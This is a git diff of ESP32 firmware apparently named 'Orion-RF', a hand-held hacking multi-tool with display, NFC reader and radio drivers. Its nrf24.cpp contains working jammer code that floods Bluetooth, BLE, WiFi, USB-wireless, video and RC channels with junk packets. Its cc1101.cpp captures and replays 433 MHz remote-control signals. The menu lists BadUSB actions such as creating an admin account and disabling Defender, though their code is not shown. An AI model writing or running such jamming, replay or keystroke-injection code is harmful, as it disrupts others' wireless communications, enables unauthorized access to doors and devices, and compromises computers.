ELECHOUSE_CC1101_SRC_DRV_h +#define ELECHOUSE_CC1101_SRC_DRV_h + +#include + +//***************************************CC1101 define**************************************************// +// CC1101 CONFIG REGSITER +#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration +#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration +#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration +#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds +#define CC1101_SYNC1 0x04 // Sync word, high INT8U +#define CC1101_SYNC0 0x05 // Sync word, low INT8U +#define CC1101_PKTLEN 0x06 // Packet length +#define CC1101_PKTCTRL1 0x07 // Packet automation control +#define CC1101_PKTCTRL0 0x08 // Packet automation control +#define CC1101_ADDR 0x09 // Device address +#define CC1101_CHANNR 0x0A // Channel number +#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control +#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control +#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U +#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U +#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U +#define CC1101_MDMCFG4 0x10 // Modem configuration +#define CC1101_MDMCFG3 0x11 // Modem configuration +#define CC1101_MDMCFG2 0x12 // Modem configuration +#define CC1101_MDMCFG1 0x13 // Modem configuration +#define CC1101_MDMCFG0 0x14 // Modem configuration +#define CC1101_DEVIATN 0x15 // Modem deviation setting +#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration +#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration +#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration +#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration +#define CC1101_BSCFG 0x1A // Bit Synchronization configuration +#define CC1101_AGCCTRL2 0x1B // AGC control +#define CC1101_AGCCTRL1 0x1C // AGC control +#define CC1101_AGCCTRL0 0x1D // AGC control +#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout +#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout +#define CC1101_WORCTRL 0x20 // Wake On Radio control +#define CC1101_FREND1 0x21 // Front end RX configuration +#define CC1101_FREND0 0x22 // Front end TX configuration +#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration +#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration +#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration +#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration +#define CC1101_RCCTRL1 0x27 // RC oscillator configuration +#define CC1101_RCCTRL0 0x28 // RC oscillator configuration +#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control +#define CC1101_PTEST 0x2A // Production test +#define CC1101_AGCTEST 0x2B // AGC test +#define CC1101_TEST2 0x2C // Various test settings +#define CC1101_TEST1 0x2D // Various test settings +#define CC1101_TEST0 0x2E // Various test settings + +//CC1101 Strobe commands +#define CC1101_SRES 0x30 // Reset chip. +#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). + // If in RX/TX: Go to a wait state where only the synthesizer is + // running (for quick RX / TX turnaround). +#define CC1101_SXOFF 0x32 // Turn off crystal oscillator. +#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off + // (enables quick start). +#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and + // MCSM0.FS_AUTOCAL=1. +#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if + // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: + // Only go to TX if channel is clear. +#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit + // Wake-On-Radio mode if applicable. +#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer +#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) +#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. +#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. +#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. +#define CC1101_SWORRST 0x3C // Reset real time clock. +#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two + // INT8Us for simpler software. +//CC1101 STATUS REGSITER +#define CC1101_PARTNUM 0x30 +#define CC1101_VERSION 0x31 +#define CC1101_FREQEST 0x32 +#define CC1101_LQI 0x33 +#define CC1101_RSSI 0x34 +#define CC1101_MARCSTATE 0x35 +#define CC1101_WORTIME1 0x36 +#define CC1101_WORTIME0 0x37 +#define CC1101_PKTSTATUS 0x38 +#define CC1101_VCO_VC_DAC 0x39 +#define CC1101_TXBYTES 0x3A +#define CC1101_RXBYTES 0x3B + +//CC1101 PATABLE,TXFIFO,RXFIFO +#define CC1101_PATABLE 0x3E +#define CC1101_TXFIFO 0x3F +#define CC1101_RXFIFO 0x3F + +//************************************* class **************************************************// +class ELECHOUSE_CC1101 +{ +private: + void SpiStart(void); + void SpiEnd(void); + void GDO_Set (void); + void GDO0_Set (void); + void Reset (void); + void setSpi(void); + void RegConfigSettings(void); + void Calibrate(void); + void Split_PKTCTRL0(void); + void Split_PKTCTRL1(void); + void Split_MDMCFG1(void); + void Split_MDMCFG2(void); + void Split_MDMCFG4(void); +public: + void Init(void); + byte SpiReadStatus(byte addr); + void setSpiPin(byte sck, byte miso, byte mosi, byte ss); + void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); + void setGDO(byte gdo0, byte gdo2); + void setGDO0(byte gdo0); + void addGDO(byte gdo0, byte gdo2, byte modul); + void addGDO0(byte gdo0, byte modul); + void setModul(byte modul); + void setCCMode(bool s); + void setModulation(byte m); + void setPA(int p); + void setMHZ(float mhz); + void setChannel(byte chnl); + void setChsp(float f); + void setRxBW(float f); + void setDRate(float d); + void setDeviation(float d); + void SetTx(void); + void SetRx(void); + void SetTx(float mhz); + void SetRx(float mhz); + int getRssi(void); + byte getLqi(void); + void setSres(void); + void setSidle(void); + void goSleep(void); + void SendData(byte *txBuffer, byte size); + void SendData(char *txchar); + void SendData(byte *txBuffer, byte size, int t); + void SendData(char *txchar, int t); + byte CheckReceiveFlag(void); + byte ReceiveData(byte *rxBuffer); + bool CheckCRC(void); + void SpiStrobe(byte strobe); + void SpiWriteReg(byte addr, byte value); + void SpiWriteBurstReg(byte addr, byte *buffer, byte num); + byte SpiReadReg(byte addr); + void SpiReadBurstReg(byte addr, byte *buffer, byte num); + void setClb(byte b, byte s, byte e); + bool getCC1101(void); + byte getMode(void); + void setSyncWord(byte sh, byte sl); + void setAddr(byte v); + void setWhiteData(bool v); + void setPktFormat(byte v); + void setCrc(bool v); + void setLengthConfig(byte v); + void setPacketLength(byte v); + void setDcFilterOff(bool v); + void setManchester(bool v); + void setSyncMode(byte v); + void setFEC(bool v); + void setPRE(byte v); + void setPQT(byte v); + void setCRC_AF(bool v); + void setAppendStatus(bool v); + void setAdrChk(byte v); + bool CheckRxFifo(int t); +}; + +extern ELECHOUSE_CC1101 ELECHOUSE_cc1101; + +#endif \ No newline at end of file diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..08d18a4 --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,142 @@ +#include +#include +#include + +#include +#include +#include "libs/BleMouse.h" + +#include +#include + +#include "libs/ELECHOUSE_CC1101_SRC_DRV.h" + +#include +#include + +#include +#include +#include +#include + + +#include "ui/display.h" +#include "buttons.h" +#include "ui/menu.h" + +#include "config.h" +#include "rf/cc1101.h" + +// ================= USB HID ================= +USBHIDKeyboard Keyboard; + +// ===== BLE MOUSE ===== +BleMouse bleMouse("Orion-RF", "Orion-RF", 100); + + +RF24 radio1(CE1_PIN, CSN1_PIN); +RF24 radio2(CE2_PIN, CSN2_PIN); +SPIClass *RADIO_SPI; + + +void deactivateNRF1() { + digitalWrite(CSN1_PIN, HIGH); + digitalWrite(CE1_PIN, LOW); +} + +void deactivateNRF2() { + digitalWrite(CSN2_PIN, HIGH); + digitalWrite(CE2_PIN, LOW); +} + + +// ================= SYSTEM INFO ================= +void printSystemUsage() +{ + esp_chip_info_t chip_info; + + esp_chip_info(&chip_info); + + Serial.printf("CPU cores: %d\n", chip_info.cores); + + Serial.printf( + "Free heap: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_DEFAULT) + ); + + Serial.printf( + "PSRAM free: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_SPIRAM) + ); +} + +void showSplash() +{ + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_logisoso20_tr); // big font + u8g2.drawStr(10, 40, "Orion-RF"); + + u8g2.setFont(u8g2_font_5x8_tr); // small subtitle + u8g2.drawStr(25, 58, "Initializing..."); + + u8g2.sendBuffer(); + + delay(1500); // 1.5 sec +} + + +// ================= SETUP ================= +void setup() +{ + Serial.begin(115200); + + displayInit(); + showSplash(); + + buttonsInit(); + menuInit(); + + delay(1500); + + USB.begin(); + Keyboard.begin(); + + + + // NRF SPI safety + //pinMode(CSN1_PIN, OUTPUT); + //digitalWrite(CSN1_PIN, HIGH); + + //pinMode(CSN2_PIN, OUTPUT); + //digitalWrite(CSN2_PIN, HIGH); + deactivateNRF1(); + deactivateNRF2(); + + RADIO_SPI = new SPIClass(FSPI); + RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); + + // ===== CC1101 SPI INIT ===== + //SPI.begin( + // cc1101_SCK, + // cc1101_MISO, + // cc1101_MOSI, + // CC1101_CS + //); + + //pinMode(CC1101_CS, OUTPUT); + //pinMode(CC1101_2_CS, OUTPUT); + + //digitalWrite(CC1101_CS, HIGH); + //digitalWrite(CC1101_2_CS, HIGH); + + printSystemUsage(); + + Serial.println("SYSTEM READY"); +} + +// ================= LOOP ================= +void loop() +{ + menuLoop(); +} diff --git a/src/nfc.cpp b/src/nfc.cpp new file mode 100644 index 0000000..3dcf5a9 --- /dev/null +++ b/src/nfc.cpp @@ -0,0 +1,117 @@ +#include "nfc.h" + +#include +#include +#include + +#include "ui/display.h" +#include "buttons.h" +#include "config.h" + +#define PN532_IRQ -1 +#define PN532_RESET -1 + +//Adafruit_PN532 nfc(Wire); +Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); + +void drawWaiting() +{ + u8g2.clearBuffer(); + + u8g2.drawStr(10, 20, "PN532 Ready"); + u8g2.drawStr(10, 40, "Tap NFC Card"); + + u8g2.sendBuffer(); +} + +void showUID(uint8_t *uid, uint8_t uidLength) +{ + char line[64]; + + String uidStr = ""; + + for (int i = 0; i < uidLength; i++) + { + if (uid[i] < 0x10) + uidStr += "0"; + + uidStr += String(uid[i], HEX); + uidStr += " "; + } + + uidStr.toUpperCase(); + + u8g2.clearBuffer(); + + u8g2.drawStr(0, 15, "Card Detected"); + + snprintf(line, sizeof(line), "UID:"); + + u8g2.drawStr(0, 35, line); + + u8g2.drawStr(0, 50, uidStr.c_str()); + + u8g2.sendBuffer(); +} + +void pn532_init() +{ + delay(100); + nfc.begin(); + delay(100); + + uint32_t versiondata = nfc.getFirmwareVersion(); + + if (!versiondata) + { + Serial.println("PN532 not found"); + + u8g2.clearBuffer(); + u8g2.drawStr(0, 20, "PN532 NOT FOUND"); + u8g2.sendBuffer(); + + delay(2000); + return; + } + + Serial.println("PN532 initialized"); + + nfc.SAMConfig(); +} + +void pn532_scan_loop() +{ + pn532_init(); + + drawWaiting(); + + while (1) + { + uint8_t success; + uint8_t uid[7]; + uint8_t uidLength; + + Serial.println("Scanning..."); + success = nfc.readPassiveTargetID( + PN532_MIFARE_ISO14443A, + uid, + &uidLength, + 50 + ); + + if (success) + { + Serial.println("Card detected"); + + showUID(uid, uidLength); + + delay(1000); + } + + if (btnBack()) + { + delay(150); + break; + } + } +} diff --git a/src/nfc.h b/src/nfc.h new file mode 100644 index 0000000..1570b5d --- /dev/null +++ b/src/nfc.h @@ -0,0 +1,4 @@ +#pragma once + +void pn532_init(); +void pn532_scan_loop(); diff --git a/src/rf/cc1101.cpp b/src/rf/cc1101.cpp new file mode 100644 index 0000000..603a0d7 --- /dev/null +++ b/src/rf/cc1101.cpp @@ -0,0 +1,205 @@ +#include +#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" +#include "cc1101.h" +#include "../config.h" +#include "SPI.h" + +// ===== CONFIG ===== +#define RAW_BUF_MAX 512 + +// ===== STATE ===== +static bool cc1101Inited = false; + +// ===== CAPTURE STATE ===== +volatile unsigned long captureBuffer[RAW_BUF_MAX]; +volatile int pulseIndex = 0; +volatile unsigned long lastEdgeTime = 0; +volatile bool capturing = false; + +// ===== RF SETTINGS ===== +float currentFreq = 433.92; +float dataRate = 3.79372; +float deviation = 0.0; +float rxBW = 325.0; +int powerLevel = 10; + +// ===== ISR ===== +void IRAM_ATTR pulseISR() +{ + unsigned long now = micros(); + + if (!capturing) return; + if (pulseIndex >= RAW_BUF_MAX) return; + + unsigned long duration = now - lastEdgeTime; + + if (duration < 150) return; + + captureBuffer[pulseIndex++] = duration; + lastEdgeTime = now; +} + +// ===== OOK SETUP ===== +void setupOOKMode() +{ + ELECHOUSE_cc1101.SetRx(); + ELECHOUSE_cc1101.setMHZ(currentFreq); + + ELECHOUSE_cc1101.setModulation(2); // ASK/OOK + ELECHOUSE_cc1101.setDRate(dataRate); + ELECHOUSE_cc1101.setDeviation(0); + ELECHOUSE_cc1101.setRxBW(rxBW); + ELECHOUSE_cc1101.setSyncMode(0); + ELECHOUSE_cc1101.setPA(powerLevel); +} + +// ===== INIT (LAZY, SAFE) ===== +// ================= CC1101 INIT ================= +bool initCC1101() +{ + Serial.println(); + Serial.println("===== CC1101 INIT ====="); + + // ===== SPI ===== + SPI.begin( + cc1101_SCK, + cc1101_MISO, + cc1101_MOSI, + CC1101_CS + ); + + pinMode(CC1101_CS, OUTPUT); + digitalWrite(CC1101_CS, HIGH); + + delay(100); + + // ===== GDO ===== + ELECHOUSE_cc1101.setGDO( + CC1101_GDO0, + -1 + ); + + ELECHOUSE_cc1101.setSpiPin( + cc1101_SCK, + cc1101_MISO, + cc1101_MOSI, + CC1101_CS + ); + + // ===== DETECT ===== + Serial.println("Checking chip..."); + + if (!ELECHOUSE_cc1101.getCC1101()) + { + Serial.println("❌ CC1101 NOT FOUND"); + return false; + } + + Serial.println("✅ CC1101 FOUND"); + + // ===== IMPORTANT ===== + // DO NOT CALL Init() + // it freezes on some ESP32-S3 setups + + // ===== MANUAL CONFIG ===== + ELECHOUSE_cc1101.setMHZ(currentFreq); + + // 2 = ASK/OOK + ELECHOUSE_cc1101.setModulation(2); + + ELECHOUSE_cc1101.setDRate(dataRate); + + ELECHOUSE_cc1101.setRxBW(rxBW); + + ELECHOUSE_cc1101.setDeviation(0); + + // disable sync requirement + ELECHOUSE_cc1101.setSyncMode(0); + + ELECHOUSE_cc1101.setPA(powerLevel); + + // async serial mode + ELECHOUSE_cc1101.setCCMode(0); + + // enter RX + ELECHOUSE_cc1101.SetRx(); + + pinMode(CC1101_GDO0, INPUT); + + Serial.println("✅ RX MODE READY"); + + cc1101Inited = true; + return true; +} +// ===== CAPTURE CONTROL ===== +void startCapture() +{ + pulseIndex = 0; + capturing = true; + lastEdgeTime = micros(); + + attachInterrupt( + digitalPinToInterrupt(CC1101_GDO0), + pulseISR, + CHANGE + ); + + Serial.println("Looking for RF... "); +} + +bool isCC1101Ready() { + return cc1101Inited; +} + +void stopCapture() +{ + capturing = false; + + detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); + + Serial.println("Capture stopped"); +} + +// ===== DEBUG PRINT ===== +void printCapture() +{ + Serial.println("Captured pulses:"); + + for (int i = 0; i < pulseIndex; i++) + { + Serial.println(captureBuffer[i]); + } +} + + +// ================= REPLAY ================= +void replaySignal() +{ + Serial.println(); + Serial.println("Replaying signal..."); + + stopCapture(); + + ELECHOUSE_cc1101.SetTx(); + + pinMode(CC1101_GDO0, OUTPUT); + + for (int i = 0; i < pulseIndex; i++) + { + digitalWrite( + CC1101_GDO0, + (i % 2 == 0) ? HIGH : LOW + ); + + delayMicroseconds(captureBuffer[i]); + } + + digitalWrite(CC1101_GDO0, LOW); + + ELECHOUSE_cc1101.SetRx(); + + pinMode(CC1101_GDO0, INPUT); + + Serial.println("Replay complete"); +} + diff --git a/src/rf/cc1101.h b/src/rf/cc1101.h new file mode 100644 index 0000000..a403edb --- /dev/null +++ b/src/rf/cc1101.h @@ -0,0 +1,9 @@ +#pragma once + +bool initCC1101(); +bool isCC1101Ready(); + +void startCapture(); +void stopCapture(); +void printCapture(); +void replaySignal(); diff --git a/src/rf/nrf24.cpp b/src/rf/nrf24.cpp new file mode 100644 index 0000000..0479985 --- /dev/null +++ b/src/rf/nrf24.cpp @@ -0,0 +1,249 @@ +#include +#include +#include "nrf24.h" +#include "../ui/display.h" +#include "../buttons.h" +#define JAM_DURATION 500 + +extern SPIClass *RADIO_SPI; +extern RF24 radio1; +extern RF24 radio2; + +// ============ CHANNELS ============= +const byte bleChannels[] = {2, 26, 80}; +const byte bluetoothChannels[] = { + 32, 34, 46, 48, 50, 52, + 0, 1, 2, 4, 6, 8, + 22, 24, 26, 28, 30, + 74, 76, 78, 80 +}; +const byte wifiChannels[] = { + 12, 17, 22, 27, 32, + 37, 42, 47, 52, 57, + 62, 67, 72 +}; +const byte usbWireless_channels[] = {40, 50, 60}; +const byte videoTransmitter_channels[] = {70, 75, 80}; +const byte zigbee_channels[] = {11, 15, 20, 25}; +const byte rc_channels[] = {1, 3, 5, 7}; + +void initNRF(RF24 &radio) +{ + if (!radio.begin(RADIO_SPI)) { + Serial.println("NRF not found"); + return; + } + + radio.setAutoAck(false); + radio.stopListening(); + radio.setRetries(0, 0); + radio.setPALevel(RF24_PA_MAX, true); + radio.setDataRate(RF24_2MBPS); + radio.openWritingPipe(0xE7E7E7E7E7LL); + radio.setCRCLength(RF24_CRC_DISABLED); + Serial.println("NRF Initialized"); + +} + + + +//void startBleJammer() { +// initNRF(radio1); +// initNRF(radio2); +// +// Serial.println("NRF JAMMER STARTED"); +// +// const char payload[] = "xxxxxxxxxxxxxxxx"; +// +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); +// +// while(true) { +// +// // Channels (you can change this set) +// const byte channels[] = {2, 26, 80}; +// +// +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } +// +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } +// +//} +// +//void startBluetoothJammer() +//{ +// initNRF(radio1); +// initNRF(radio2); +// +// Serial.println("NRF JAMMER STARTED"); +// +// const char payload[] = "xxxxxxxxxxxxxxxx"; +// +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); +// +// while(true) { +// +// // Channels (you can change this set) +// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; +// +// +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } +// +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } +//} + +void startJammer(const char* name, const byte* channels, size_t channelCount) +{ + initNRF(radio1); + initNRF(radio2); + + Serial.println("NRF JAMMER STARTED"); + + const char payload[] = "xxxxxxxxxxxxxxxx"; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 15, "NRF24 Jammer"); + u8g2.drawStr(0, 35, name); + u8g2.drawStr(0, 55, "BACK = Exit"); + u8g2.sendBuffer(); + + while (true) + { + for (size_t i = 0; i < channelCount; i++) + { + //radio1.setChannel(channels[i]); + //radio1.write(&payload, sizeof(payload)); + + // Optional second NRF + // radio2.setChannel(channels[i]); + // radio2.write(&payload, sizeof(payload)); + + + radio1.setChannel(channels[i]); + radio2.setChannel(channels[(i + 1) % channelCount]); + + radio1.writeFast(&payload, sizeof(payload)); + radio2.writeFast(&payload, sizeof(payload)); + } + + if (btnBack()) + { + Serial.println("Jammer stopped"); + radio1.powerDown(); + radio2.powerDown(); + return; + } + } + + //while (true) { + //for (size_t i = 0; i < channelCount; i++) + //{ + // radio1.setChannel(channels[i]); + // radio2.setChannel(channels[(i + 1) % channelCount]); + + // radio1.writeFast(&payload, sizeof(payload)); + // radio2.writeFast(&payload, sizeof(payload)); + + // radio1.txStandBy(1); + // radio2.txStandBy(1); + + // delayMicroseconds(200); + //} + + + //if (btnBack()) + //{ + // Serial.println("Jammer stopped"); + + // radio1.powerDown(); + // radio2.powerDown(); + + // return; + //} +//} +} + +void NRFToolsMenu(int index) { + switch (index) { + case 0: + // startBleJammer(); + // BLE + startJammer( + "BLE", + bleChannels, + sizeof(bleChannels) / sizeof(bleChannels[0]) + ); + + break; + case 1: + // startBluetoothJammer(); + // Bluetooth + startJammer( + "Bluetooth", + bluetoothChannels, + sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]) + ); + break; + + case 2: + startJammer( + "WiFi", + wifiChannels, + sizeof(wifiChannels) / sizeof(wifiChannels[0]) + ); + break; + case 3: + startJammer( + "USB Wireless", + usbWireless_channels, + sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]) + ); + break; + case 4: + startJammer( + "Video TX", + videoTransmitter_channels, + sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0]) + ); + break; + case 5: + break; + startJammer( + "RC", + rc_channels, + sizeof(rc_channels) / sizeof(rc_channels[0]) + ); + break; + case 6: + + break; +} + } diff --git a/src/rf/nrf24.h b/src/rf/nrf24.h new file mode 100644 index 0000000..308bbc4 --- /dev/null +++ b/src/rf/nrf24.h @@ -0,0 +1,13 @@ +#pragma once + +#include + +// Initialization +void initNRF(RF24 &radio); + +void startBluetoothJammer(); +void startBleJammer(); + +void startJammer(const char* name, const byte* channels, size_t channelCount); + +void NRFToolsMenu(int index); diff --git a/src/sysinfo.cpp b/src/sysinfo.cpp new file mode 100644 index 0000000..046933e --- /dev/null +++ b/src/sysinfo.cpp @@ -0,0 +1,87 @@ +#include +#include "ui/display.h" +#include "buttons.h" +#include +#include + +void runSystemInfoFeature() +{ + esp_chip_info_t chip_info; + + esp_chip_info(&chip_info); + + while (true) + { + //u8g2.clearBuffer(); + + //char buf[32]; + + //sprintf(buf, "Cores: %d", chip_info.cores); + //u8g2.drawStr(0, 14, buf); + + //sprintf(buf, "Heap: %d", + // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); + //u8g2.drawStr(0, 28, buf); + + + //u8g2.drawStr(0, 60, "BACK to exit"); + + // Get RAM info + size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); + size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); + int ramUsage = 100 - ((freeHeap * 100) / totalHeap); + + // Get Flash info + //uint32_t flashSize = spi_flash_get_chip_size(); + uint32_t flashSize = ESP.getFlashChipSize(); + uint32_t flashUsed = ESP.getSketchSize(); + int flashUsage = (flashUsed * 100) / flashSize; + + // Temperature (approx) + uint8_t temperature = temperatureRead(); + + // Chip info + esp_chip_info_t chip_info; + esp_chip_info(&chip_info); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tr); + + char buf[32]; + + // Box 1 - RAM + u8g2.drawFrame(0, 0, 128, 12); + sprintf(buf, "RAM: %d%% used", ramUsage); + u8g2.drawStr(4, 9, buf); + + // Box 2 - Flash + u8g2.drawFrame(0, 12, 128, 12); + sprintf(buf, "Flash: %d%% used", flashUsage); + u8g2.drawStr(4, 21, buf); + + // Box 3 - Temp (FULL WIDTH now) + u8g2.drawFrame(0, 24, 128, 12); + sprintf(buf, "Temp: %d C", temperature); + u8g2.drawStr(4, 33, buf); + + // Box 4 - Chip info (FULL WIDTH) + u8g2.drawFrame(0, 36, 128, 12); + sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); + u8g2.drawStr(4, 45, buf); + + // Box 5 - PSRAM (KB) + u8g2.drawFrame(0, 48, 128, 12); + sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); + u8g2.drawStr(4, 57, buf); + + u8g2.sendBuffer(); + + if (btnBack()) + { + delay(200); + return; + } + + delay(100); + } +} diff --git a/src/sysinfo.h b/src/sysinfo.h new file mode 100644 index 0000000..8a4f176 --- /dev/null +++ b/src/sysinfo.h @@ -0,0 +1,3 @@ +#pragma once + +void runSystemInfoFeature(); diff --git a/src/ui/display.cpp b/src/ui/display.cpp new file mode 100644 index 0000000..12c9ac9 --- /dev/null +++ b/src/ui/display.cpp @@ -0,0 +1,16 @@ +#include "display.h" +#include +#include "config.h" + + +U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( + U8G2_R0, + U8X8_PIN_NONE +); + +void displayInit() +{ + Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); + u8g2.begin(); + u8g2.setFont(u8g2_font_6x12_tr); +} diff --git a/src/ui/display.h b/src/ui/display.h new file mode 100644 index 0000000..0b48b75 --- /dev/null +++ b/src/ui/display.h @@ -0,0 +1,7 @@ +#pragma once + +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +void displayInit(); diff --git a/src/ui/menu.cpp b/src/ui/menu.cpp new file mode 100644 index 0000000..2c8c3cd --- /dev/null +++ b/src/ui/menu.cpp @@ -0,0 +1,402 @@ +#include +#include "menu.h" +#include "display.h" +#include "buttons.h" +#include "badusb.h" +#include "rf/nrf24.h" +#include "rf/cc1101.h" +#include "blescanner.h" +#include "wifi/wifi_scan.h" +#include "wifi/wifi_analyzer.h" +#include "device_check.h" +#include "ble_mouse.h" +#include "sysinfo.h" +#include "BleMouse.h" +#include "nfc.h" + +// ================= MENU DATA ================= +extern BleMouse bleMouse; + +// Root menu +const char *mainMenuItems[] = { + "BadUSB", + "RF Capture", + "NRF Tools", + "BLE Scan", + "Wifi Scan", + "Wifi Analyzer", + "System Info", + "Device Check", + "Restart", + "Ble Mouse", + "NFC Tools" +}; + +Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; + + +// NRF Tools menu +const char *nrfToolsItems[] = { + "BLE Jammer", + "Bluetooth Jammer", + "Wifi Jammer", + "USB Wireless", + "Video TX", + "Zigbee", + "RC" + +}; + +Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; + + +// BadUSB submenu +const char *badusbItems[] = {"DEMO", + "KEYBOARD", + "HID SCRIPT", + "Open Notepad", + "Open CMD", + "Show IP", + "Shutdown", + "RickRoll", + "Create Admin", + "Disable Defender", + "Open YouTube", + "Lock PC", + "Fake Update", + "Endless Notepad", + "Fake BSOD", + "Flip Screen", + "Matrix Effect", + "I'm Watching U", + "Open Google", + "Open telegram", + "Play Alarm Sound", + "Endless CMD", + "Type Gibberish", + "Spam CAPSLOCK", + "Open Calc", + "Auto 'Hacked!'", + "Turn Off Monitor", + "Open RegEdit", + "Kill Explorer", + "Flash Screen", + "Rename Desktop", + "Toggle WiFi", + "Auto Screenshot", + "Spam Emojis", + "Open Ctrl Panel", + "Troll Wallpaper", + "Open MS Paint", + "Tab Switcher"}; + + +Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; + +// ================= MENU STATE ================= + +Menu *currentMenu = &mainMenu; + +int menuIndex = 0; +int menuOffset = 0; + +#define MENU_VISIBLE_ROWS 4 + +bool insideFeature = false; + +// ================= DRAW ================= + +void drawMenu() +{ + u8g2.clearBuffer(); + + // scroll handling + if (menuIndex < menuOffset) + menuOffset = menuIndex; + + if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) + menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; + + for (int i = 0; i < MENU_VISIBLE_ROWS; i++) + { + int item = menuOffset + i; + + if (item >= currentMenu->size) + break; + + if (item == menuIndex) + u8g2.drawStr(0, 14 + i * 14, ">"); + + u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); + } + + // scroll indicators + if (menuOffset > 0) + u8g2.drawStr(118, 10, "^"); + + if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) + u8g2.drawStr(118, 62, "v"); + + u8g2.sendBuffer(); +} + +// ================= FEATURE EXECUTION ================= + +void launchFeature() +{ + insideFeature = true; + + if (currentMenu == &mainMenu) + { + switch (menuIndex) + { + case 0: // BadUSB → enter submenu + currentMenu = &badusbMenu; + menuIndex = 0; + menuOffset = 0; + break; + + case 1: + if (!isCC1101Ready()) { + if (!initCC1101()) { + Serial.println("CC1101 failed"); + return; + } + } + + Serial.println("Ready to capture..."); + + startCapture(); + delay(5000); + stopCapture(); + printCapture(); + delay(5000); + replaySignal(); + break; + + case 2: + // startNRFJammer(); + //startBleJammer(); + //startBluetoothJammer(); + currentMenu = &nrfToolsMenu; + menuIndex = 0; + menuOffset = 0; + break; + + break; + case 3: + ble_scan(); + ble_drawMenu(); + while (1) { + ble_loop(); + if (btnBack()) + break; + } + break; + + case 4: + { + // Start scan once + wifi_scan_start(); + wifi_scan_draw(); + + while (1) { + wifi_scan_loop(); + // EXIT condition handled ONLY here + if (btnBack()) { + delay(150); // debounce + break; + } + } + break; + } + case 5: + { + + wifi_analyzer_start(); + + bool prevBack = false; + while (1) + { + wifi_analyzer_loop(); + bool nowBack = 